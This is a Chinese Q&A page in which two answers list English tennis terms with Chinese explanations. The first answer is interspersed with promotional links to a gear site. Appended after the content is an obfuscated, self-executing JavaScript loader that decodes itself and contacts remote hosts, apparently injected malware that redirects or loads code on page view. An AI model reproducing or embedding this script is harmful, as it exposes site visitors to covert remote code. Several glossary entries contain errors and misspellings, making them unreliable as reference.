网球比赛中的专业术语用英语怎么说网球比赛中有很多

2025-02-12 16:02:07
推荐回答(2个)
回答1:

网球术语——列表:

网球术语——A

Ace (爱司球) – 一个接发球方球员碰不到的优质发球
Ad court – 每边球员左半边的球场。参见deuce court
Advantage (占先) – 为一位球员在平分( deuce )后再得一分的情况。在这种情况下,这位球员只要再拿下一分,即可拿下该局
Alley – 单打边线( sideline )和双打边线中间的区域。sideline (边线)又称作 tramline
Approach shot – 球员为了接下来要上网而打的一种球,通常带着下旋( underspin )
ATP – 国际职业网球联合会( Association of Tennis Professionals ),男子的职业网球联合会
优个网网球频道,寻找你的装备,打出你的ACE球,晒晒自己的网球术语:http://www.yoger.com.cn/tennis.html

网球术语——B

Backcourt (后场) – 球场中发球线( service line )与底线( baseline )之间的区域。又称 No-Man's Land
Backhand (反手拍、反拍) – 一种以主要持拍手臂的背面来面向球的来向、跨过身体地挥动以击球的挥拍方法。对于右撇子而言是指左手边,对于左撇子而言则指右手边。参见正手拍( forehand )
Backspin (下旋、倒旋) – 球的底部向前旋转的旋转方式。造成球往上浮且落地后弹跳得较低。同 underspin
Backswing (拉拍) – 击球前的将拍子向后拉,扭腰扩胸转肩的预备动作
Bagel (贝果) – 以6-0的比数赢下该盘。double bagel为以6-0,6-0的比数赢下该场比赛
Ball Boy (球童) – 为当每一分打完时,在球场上负责捡球的男性或女性。通常是青少年,在ATP赛事中。
Baseline (底线) – 在球场最远的两端的用以界定比赛球场范围的白线
Baseliner (底线型球员) – 比赛中在底线( baseline )附近击落地球( Groundstroke )、依靠其击落地球(Groundstroke)的品质来赢球的球员
Best of five (五盘三胜制) – 比赛最多打五盘,先赢三盘者获胜
Best of three (三盘两胜制) – 比赛最多打三盘,先赢两盘者获胜
Big serve (大力发球) – 一个强而有力的发球,通常使得发球方在这一分中占有优势
Block (挡) – 一种击球前挥拍动作不大的防御性击球方式,通常是在回发球时
Bread stick – 以6-1的比数赢下该盘。参见贝果( bagel )
Break (破发球局、破发) – 接发球方球员破了发球方球员的发球局而赢下该局
Break point (破发点) – 再赢一分即可破发的状况
Bye (第一轮轮空) – 该位球员不须要打第一轮,直接优惠晋级至第二轮。在部分赛事的赛制设计上会给予种子球员此优惠;或是由于参赛人数不足等原因而给予部分球员此优惠
网球水平评级,测测你的水平,能文能武,网球技术、术语两不误:http://www.yoger.com.cn/info-9811.html

网球术语——C

Center line (中线) – 在球场中间,垂直于网子、用来界定发球有效区域的直线
Closed stance (封闭性撀球姿势) – 击球时,身体正前方之方向介于平行于底线与背对于对手之间,为传统击球技法。
Chip (切球、削球) – 一种带着下旋( underspin )地挡( block )一球的击球方法
Chip and charge – 为一种积极进攻的战略,回发球时带着下旋( underspin )然后上网
Chop (切球、削球) – 带着强烈下旋( underspin )的一球
Counterpuncher – 防御型的底线型( baseliner )球员,参见网球战略
Court(球场) – 设计用来打网球的区域
Crosscourt – 将球打进对手球场的斜对方
站在球场上,技术重要,而网球战术其实更为重要。而国外的战术方面则相对更加成熟,自然少不了这些网球术语。 :http://www.yoger.com.cn/info-9790.html

网球术语——D

Deep (深) – 球的落点很接近底线( baseline ),是落点很接近网子的反义
Deuce (平分) – 在一局( game )中,比分40-40的情况。此时任何一方球员都必须连续赢两分才可赢得该局。参见占先( advantage )
Deuce court – 每边球员右半边的球场。参见ad court
Dink – 脚步没有任何移动地击一球
Dirtballer – 擅长在红土球场上打球的球员
Double Fault (双发失误、双误) – 在一分之中连续两次发球失误( fault ),导致球员因此输掉该分
Doubles (双打) – 由四位球员一起打球的网球比赛,球场的每边各有两名球员
Down the line (直线行进) – 击一球并使之笔直地前进而进入对手的球场
Drop shot (过网急坠球、放小球) – 击球的力道很轻、使之刚好通过网子上方即坠下来的一球。目的是使位置离网子很远的球员防备不及
Drop volley – 由截击( volley )所击出的过网急坠球( drop shot )
网球战术重要,但是实用的网球战术更重要。了解相应的网球术语中英对照,就是为了更好的了解网球战术:http://www.yoger.com.cn/info-9808.html

网球术语——F

Fault (发球失误) – 发球时,球没有落进正确的区域。因此这一分不会开始打
First Service (第一发球) – 在一分开始时,发球方球员所拥有的两次发球机会中的第一次发球机会
Flat (平击)、Flat Strike – 平击,自旋度极低的击球方式。例如:平击发球( a flat serve )
Follow through(随挥、随球动作) – 击到球之后的挥拍动作
Foot fault (脚误、脚部失误、踩线犯规) – 发球方球员发球时,在球拍触到球之前,因为脚踩进球场或跨过中心标(the center hash mask)的假想延伸线而导致该次发球失误
Forehand (正手拍、正拍) –一种以主要持拍手臂的正面面向球的来向、由身体后方向前挥击的挥拍方法。对于右撇子而言是指右手边,对于左撇子而言则指左手边。参见反手拍( backhand )

网球术语——G

Game point (局点) – 指再赢得一分即可赢得该局的情况
Golden set – 没有输掉任何一分地赢下该盘
Golden Slam (金满贯) – 在一年之中,完成大满贯( winning the Grand Slam )且赢得奥林匹克运动会中网球项目的金牌
Grand Slam (大满贯) – 指一年里四个最著名的赛事:澳大利亚网球公开赛、法国网球公开赛 (又称罗兰·加洛斯)、温布尔登网球锦标赛、美国网球公开赛。完成大满贯( winning the Grand Slam )是指在一年之中这四个赛事全部赢下
Groundies (击落地球) – 参见Groundstroke
Groundstroke (击落地球) – 在球于球场上弹跳一次后的正拍( forehand )或反拍( backhand )击球
李娜拿着PD首次在法网上取得了首个亚洲人的大满贯,当激动的同时,看到通篇的网球术语是否还在疑惑?了解下法网吧:http://www.yoger.com.cn/info-8696.html

网球术语——H

Hail Mary – 一个极高的高吊球( lob ),目的是防守。
Head (拍头) – 球拍包含线的部分。
Hold (保住发球局、保发) – 发球方球员赢下该局。

网球术语——I

I-formation – 双打中,在一分开始打之前,发球方球员和其搭挡站在球场同一边(deuce-court 或 ad-court)的一种站位法
Inside-out – 跑到球场的一边(例如:反手拍那边)然后击出 crosscourt 球
Inside-in – 跑到球场的一边然后击出直线行进(down the line)的球。其使用频率次于 inside-out
网球正手技巧,了解网球术语的路途上,先看看我们用的最熟悉的技巧:http://www.yoger.com.cn/info-9368.html

网球术语——J

Jamming (近身球) – 发球或回击球时,将球笔直地打向对手的身体。

网球术语——K

Kick serve (上旋发球) – 一种带着旋转、落地之后弹跳很高的发球

网球术语——L

Lawn Tennis (草地网球) – 在草地上进行的网球
Let (触网) – 发球时,球触到网子之后落进对手球场中的有效区域。此时这分不算重打
Line Judge (线审) – 专门负责监视球行经球场边界线情况并宣判这一球是出界或界内的人,不受球员的驳回。线审必须服从主审( umpire )的判决,即使其与线审自己的判断不同
Lob (高吊球) – 一种过网高度极高的球。目的是使球飞越过网前对手的头顶而保证得分,对付发球上网型球员(serve & volleyer)的利器。参考网球战略
Longgame – 当该盘比分来到6-6,不实行抢七( tiebreak ),而是继续比赛至其中一方赢对方两局为止,称这种赛制为longgame。通常是在五盘三胜制( Best of five )的第五盘实行
Lucky loser (幸运的输球者) – 虽然输球但却幸运地仍可继续参赛的球员。通常发生的情况是:在主赛事第一轮开打前,有球员临时退赛,因此资格赛最后一轮输球的球员有机会虽然输球却仍能递补进去而获得主赛事的参赛资格,而成为幸运的输球者( lucky loser )
Love (零分) – 零 (网球比分)
Love game – 没有让对手拿到任何一分就赢下的一局
Love,一个多么浪漫的词,但是网球术语里可不是很浪漫, 网球界中却有位浪漫的“神”,总是送给对手它的“爱”:http://www.yoger.com.cn/info-9370.html费德勒,看看他的正手如何送出这份love

网球术语——M

Match point (赛末点、赛点) – 在一场比赛中领先的一方球员再赢得一分即可获胜的情况   Mini-break – 在抢七决胜局( tiebreak )中,赢下由对手发球的一分
Mixed Doubles (混合双打、混双) – 由四位球员一起打球的网球比赛,两男两女,球场的每边各有一男一女
Moonball (月亮球) – 高度极高的高吊球( lob )

网球术语——N

No-Man's Land – 球场中发球线( service line )与底线( baseline )之间的区域。也是球员最难防守的区域。亦名 Backcourt

网球术语——O

Open stance (开放性击球姿势) – 击球时,身体正前方之方向线与底线( baseline )呈现接近于垂直的状态,但并不等于垂直,因此须利用上半身的转动来击球,为现代新式击球技法。
Out (出界) – 球落在有效区域之外
Overrule (改判) – 反转线审( linesperson )的判决结果。由主审( umpire )为之
网球球感练习,球感与网球术语很像,没必要去掌握,但是每一位网球高手都熟知于心:http://www.yoger.com.cn/info-9367.html

网球术语——P

Passing shot (穿越球) – 从网前对手旁边(非上方)通过的一球。参见高吊球( lob )
Poaching – 为双打中一种积极进攻的移位,网前球员移位去截击( volley )打向其搭挡的球
Point (分) – 从第一个成功的发球( service )到这一球结束的期间
Pusher – 不求打出致胜球( winner )、但求将球稳稳地回击回去的球员
Putaway – 在占优势时试图趁机结束这一分( point )的一球
网球单反切削技巧,不同的网球技巧,就像网球术语一样,只有用的时候才知道它不可缺少:http://www.yoger.com.cn/info-9380.html

网球术语——Q

Quality (球质) – 参考各种要素造成对方击球的困难程度。球质为台湾网球术语,在中国亦称为制量。用于形容回球的困难程度:球质高->回球困难;球质差->回球简单。决定球质的三要素:速度、旋度、落点。速度快、旋度高、落点佳就是颗球质高的漂亮击球。

网球术语——R

Racquet (球拍) – 球员用来打网球的拍子,由木头、金属或其他人造材料制成,具有长握柄以及成圈状的大拍头,拍头中穿以网状紧绷的直线
Rally – (在发球之后)一连串的球的回击,直到其中一位球员将球击出界或未将球击入有效区域为止
Referee – 负责整个赛事规则执行的人(而非仅负责一场网球赛)。参见主审( umpire )
Retriever – 防御型的底线型球员( baseliner )。参见网球战略
费德勒单反切削,奶牛的单反其实已经像网球术语一样,值得我们去好好专研了:http://www.yoger.com.cn/info-9381.html

网球术语——S

Set point(盘点、盘末点) – 离赢得一盘比赛只差一分时
Singles(单打) – 仅由两名选手参与的网球比赛
Second Service(二发) – 在一分开始时,发球方所获得的两次发球中的第二次发球,也是最后一次发球
Seed (种子球员、种子) – 由于网球赛制通常采单淘汰制,为了不要让最好的一些球员在赛事前几轮就因彼此对上而出局,因此将参赛的最好的一些球员列入种子球员,并于签表中分散排列,以避免其在赛事前几轮就相遇
Serve(发球) – 由击球到对方半场开始一分的比赛
Serve and volley(发球上网) – 发球并立即向前移动来创造截击的机会并有希望获得这一分的战术
Service line (发球线) – 在球场中,平行于网子、用来界定发球有效区域最远范围的直线
Sideline (边线) – 界定单打( singles )或双打( doubles )有效区域两侧的线。同 tramline
Slice(切削球) – (回球)用下旋的方式击球;(发球)带侧旋的发球
Smash – 扣杀是截击的一种,一般对方回球过高,这时可以利用一种类似发球的动作将球快速击打回对方场地以产生赢球。
Spin(旋转球) – 球在飞行过程中旋转,影响球的飞行轨迹和落地后的起跳。参看下旋( Backspin ) & 上旋( Topspin )
Split step – 一种步法,在对手击球前做小的起跳
Straight sets (直落盘数) – 赢得一场比赛,获胜者没有输掉任何一盘。
网球发球技巧,还有什么能比打出一发无人能接地球更让人心动的呢?但就像网球术语一样,你永远只能更加了解,而不可能彻底了解:http://www.yoger.com.cn/info-9372.html

网球术语——T

Tanking – 指因心理素质差或其他原因而故意输掉该场比赛;或指故意输掉非关键的一盘,以集中体能和注意力于关键的一盘
Tennis Ball (网球) – 打网球时所用的球,为柔软、中空、中间填以气体、表面上覆盖以合成纤维软毛的橡樛球
T (T点) – 中线( center line )和发球线( service line )交会而形成一T字形的地方
Tiebreak (抢七局、抢七、抢小分局、抢小分) – 指在一盘( set )的比分来到6-6时,为了决定该盘的胜负所进行的一个特殊的局( game )。领先对手2分以上(含2分)且其得分达七分(含七分)以上者胜出
Topspin (上旋) – 球的顶部向前旋转的旋转方式。造成球往下沈且落地后弹跳得较高
Tramline (边线) – 界定单打( singles )或双打( doubles )有效区域两侧的线。同 sideline
网球结构构成,我们可能很多人都知道网球拍怎么样,但是对于每次都被我们击打的网球可能就知道得很少了。这里面是否有你所不知道的网球术语呢?http://www.yoger.com.cn/info-9633.html

网球术语——U

Underspin (下旋、倒旋) – 球的底部向前旋转的旋转方式。造成球往上浮且落地后弹跳得较低。同 backspin
Umpire (主审) – (比赛间)负责独立自主地执行该场比赛规则的人,通常坐在网子旁边高高的椅子上
Unforced error (非受迫性失误) – 比赛间发球或回击球时无法归因的失误和球员因自己判断错误所迼成的失误

网球术语——V

Volley (截击) – 趋前在球未落地前即击球。通常以落点佳而对方无法追及之小球达成致胜球。

网球术语——W

Walkover (不战而胜) – 不须比赛即获得胜利。原因有:第一轮轮空( bye )、对手被取消资格、对手因受伤等原因无法参加比赛等
Wild card (外卡) – 即使排名不够或没有及时登记,仍然获得参赛的资格。一般给予的情况有:虽然排名仍不足,但有潜力的球员、知名球员因故长期未参赛而导致排名不足、排名很高的球员没有及时登记参赛等等
Winner (致胜球) – 若在连续对打时指的是:对手无法赶到的强而有力的一球,因而拿下这一分。若在发球时指的是:对手连碰都碰不到,也就是ACE,因而拿下这一分
WTA – 女子网球联合会( Women's Tennis Association ),女子的网球联合会

回答2:

网球比赛中专业英语分场地器械用语、技术用语、国际网球组织和赛适用语、比赛和裁判用语四部分。

一、场地器械用语.

球网 : net; 网球场 : tennis court ;

单打支柱 : singles stick;网柱 : net-post  ;

边线 : side line ;底线 : base line  ;

单打边线 : singles side line 双打边线 : doubles side line ;

发球区 : service court ;发球线 : service line ;

中点 : centre mark; 发球中线 : centre service line ;

左发球区:the left service court ;右发球区:the right service court ;

中心拉带 : strap; 看台 : stand ;

中场 : midcourt ;硬地球场 : hard court ;

草地球场 : grass court ;土地球场 : clay court ;

拍柄 : handle ;拍柄粗细 : grip size ;

击球类型 : strokestyle; 旋转速度 : swing speed ;

二、技术用语

握拍法 : grip ;东方式握拍 : eastern grip ;

西方式握拍 : western grip ;大陆式握拍 : continented grip ;

正手击球 : fore hand ;反手击球 : back hand ;

正手挥拍 : forehand swings; 单手反手击球 : one-hander backhand ;

反手挥拍 : backhand swings ;双手反手击球 : two-hander backhand ;

环状引拍 : circular backswing ;直线引拍 : flat backswing ;

平击球 : flat ;抽球: drive ;

转体 : nip rotation ;拍面角度 : vertical face ;

上网型球员 : net player ;底线型球员 : base-line player ;



三、国际网球组织和赛事用语

国际网球联合会 : International Tennis Federation ( ITF ) ;

国际男子职业网球协会 : Association Tennis Professional ( ATP ) ;

国际女子职业网球协会 : Women's Tennis Association ( WTA ) ;

温布尔顿大赛 : Wimblendon ;

美国公开赛 : U.S. Open ;

法国公开赛 : French Open ;

澳洲公开赛 : Austria Open ;

戴维斯杯 : Davis Cup ;

联合会杯 : Federation Cup ;

霍普曼杯 : Hopmen Cup ;

超九赛 : Super 9;

大满贯 : Grand Slam ;

锦标赛 : Championship ;



四、比赛和裁判用语

脚误 : foot fault ;犯规 : fault shot ;

发球直接得分 : ace; 发球失误 : fault ;

双误 : double fault ;重发 : let ;

擦网 : net ;重赛 : replay ;

发球无效 : the let in service ;活球期 : ball in play ;

失分 : to lose point ;得分 : to win point ;

压线球 : ball falls on line; 出界 : out ;

没看见 : unsighted ;手势 : hands signal ;

分 : point; 局 : game ;

盘 : set ;局点 : game point ;

破发点 : break point ;0分 : love ;

40分 : forty ;15平 : fifteen all ;

第一轮 : the first round ;四分之一决赛 : quarterfinals ;

半决赛 : semifinals ;决赛 : final 。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();